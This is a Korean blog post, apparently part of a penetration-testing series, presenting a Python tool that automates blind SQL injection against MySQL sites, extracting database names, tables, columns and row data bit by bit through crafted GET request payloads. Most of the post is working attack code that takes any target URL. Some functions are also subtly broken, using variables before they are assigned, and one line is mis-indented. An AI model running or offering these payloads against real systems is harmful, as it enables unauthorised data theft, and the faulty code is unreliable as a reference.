Blind SQL injection automation attack tools Feat. Python

심야·2023년 7월 13일
0

모의해킹

목록 보기
4/47

Blind SQL Injection automation attack tools

Blind SQL Injection은 공격 시간이 상당히 길다. 직접 타이핑 하며 공격하기에는 너무 오래 걸려 파이썬으로 자동화 도구를 만들었다. 이진 탐색과 비트 연산 중 어떤 것으로 구현하는 게 좋을까 고민했는데 개인적으로는 비트 연산을 좋아하고 구현하기 더 쉽다 생각해 비트 연산으로 구현했다.

처음에는 GET Method로 공격하는 코드만 작성해 사용했다. 하지만 로그인처럼 POST Method를 사용하는 기능에도 공격해야 할 상황이 있어 POST Method 공격 코드도 만들었다.

그런데 사용할 때 마다 URL을 수정하고 GET Method SQL Injection, POST Method SQL Injection 함수를 호출하는 일이 번거로워 사용자가 Method를 선택하고 URL을 직접 입력하면 훨씬 편할 것 같다는 생각이 들어 조금이나마 더 사용자 친화적?으로 구현했다.

시연 장면

Python Code

코드를 살펴보자.

우선 모듈을 사용해 GET과 POST 공격 함수를 불러온 후, 사용자가 선택한 Method 공격 함수를 호출한다.

"""
This blind SQL Injection attack tools was created by simya. 
This tool uses bit operations to perform the attack. 2023-07-03.
"""
import sys
from get_attack_payloads import blind_sql_injection_attack as get
from post_attack_payloads import blind_sql_injection_attack as post

method = input("Does the attack target use the POST or GET method? ")

if method.upper() == "GET":
    get()
elif method.upper() == "POST":
    post()
else:
    print("Quit.")
    print( sys.exit(0))

GET Attack Payloads

  1. 사용자에게 URL, 취약점을 탐지하기 위한 쿼리 그리고 참과 거짓 여부를 판단하는 기준 문자열을 입력 받는다.
  2. 취약점이 존재하면 공격을 시작한다.
    1. 입력한 URL의 기능이 사용하는 데이터 베이스 이름을 추출한다.
    2. 해당 데이터 베이스의 테이블 목록을 추출한다.
    3. 사용자가 공격 대상 테이블을 입력하면 컬럼 목록을 추출한다.
    4. 추출할 데이터의 컬럼을 입력한다.
    5. 데이터를 추출한다.
import requests
import sys

# MySQL Blind SQL Injection automation Tools
def blind_sql_injection_attack():
    URL = input("Enter the target URL for the attack : ")
    query = input("Enter the vulnerabilities detection query (Ex: 'and'1'='1'%23) ")
    control_point = input("Enter a string of control points to detect if a blind sql injection attack is true or false : ")
    print(f"vulnerabilities detection query : {URL}{query}")

    resp = requests.get(f"{URL}{query}")
    if control_point in resp.text:
        print("Blind SQL injection vulnerability exists. Start the attack.")
        database = database_name(URL, control_point)
        table_name(URL, database, control_point)
        table = column_name(URL, control_point)
        query_data(URL, table, control_point)
    else:
        print("No blind SQL injection vulnerabilities were found.")

database_name function

입력한 URL과 기준 문자열로 비트 연산을 시도해 데이터 베이스 이름을 추출한다.

def database_name(URL, control_point):
    binary_number = [1, 2, 4, 8, 16, 32, 64]
    binary_result = 0
    database = ""
    for x in range(1, 20):
        for n in binary_number:
            resp = requests.get(f"{URL}'and+ascii(substring(database(),{x},1))%26{n}={n}%23")
            if control_point in resp.text:
                binary_result += n
            else:
                continue
        if binary_result == 0:
            break
        else:
            database += chr(binary_result)
            binary_result = 0

    print(f"database name : {database}")
    return database

table_name, column_name, query_data function

추출할 데이터마다 입력하는 쿼리는 다르지만 동작 원리는 같기 때문에 attack_payload 함수로 분리했다.

def table_name(URL, database, control_point):
    query = f"select+table_name+from+information_schema.tables+where+table_schema='{database}'"
    table = attack_payload(URL, query, control_point)
    
		print(f"The list of tables in the {database} database.\n{table}")

def column_name(URL, control_point):
    query = f"select+column_name+from+information_schema.columns+where+table_name='{table_name}'"
    table_name = input("Enter a table name to output a list of columns in that table. : ")
    columns = attack_payload(URL, query, control_point)

    print(f"The list of columns in the {table_name} table.\n{columns}")
    return table_name

def query_data(URL, table_name, control_point):
    query = f"select+{column_name}+from+{table_name}"
    column_name = input("Enter a column name to output a list of data in that column. : ")
    data = attack_payload(URL, query, control_point)

    print(f"The result of looking up the data in the {column_name} column.\n{data}")
    quit_button = input("Do you want to end the SQLi attack? (Y or N) ")
    if quit_button.upper() == "Y":
        sys.exit(0)
    else:
        query_data(URL, table_name, control_point)

attack_payload function

추출할 데이터에 필요한 쿼리를 매개변수로 받아 삼중 for문으로 비트 연산을 수행해 데이터를 추출한다.

def attack_payload(URL, query, control_point):
    binary_number = [1, 2, 4, 8, 16, 32, 64]
    binary_result = 0
    result = []
    for i in range(0, 10):
        data = ""
        for j in range(1, 10):
            for k in binary_number:
                payload = f"{URL}'and+ascii(substring(({query}+limit+{i},1),{j},1))%26{k}={k}%23"
                resp = requests.get(payload)
                if control_point in resp.text:
                    binary_result += k # 이진수 총합을 구한다.
                else:
                    continue
            if binary_result == 0:
                break # 이진수 합이 0이면 다음 데이터를 추출한다.
            else:
                data += chr(binary_result) # 이진수 합, 10진수를 문자열로 변환해 데이터를 추출한다.
                binary_result = 0 # 데이터를 추출했으면 다음 데이터를 추출하기 위해 0으로 초기화한다.
        if len(data) == 0:
            break # 더 이상 추가할 데이터가 없다면 반복문을 종료한다.
        else:
            result.append(data) # 한 개의 데이터 추출이 완료되면 리스트에 담고 다음 데이터를 추출한다.
    return result

보완할 점

  1. POST Method 공격 함수도 GET 방식처럼 중복 코드를 함수로 분리해야 한다.
  2. 한글은 UTF-8 인코딩을 사용하기 때문에 현재 추출 방식인 ASCII 함수를 사용하면 데이터가 깨진다. 그래서 한글 데이터를 추출할 수 있도록 수정해야 한다.
  3. 객체 지향으로 구현할 수 있을 것 같으니 고민해보자.

Reference

What is Blind SQL Injection?

https://github.com/Simyat/Penetration_Testing_Tools/tree/main/sqli

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글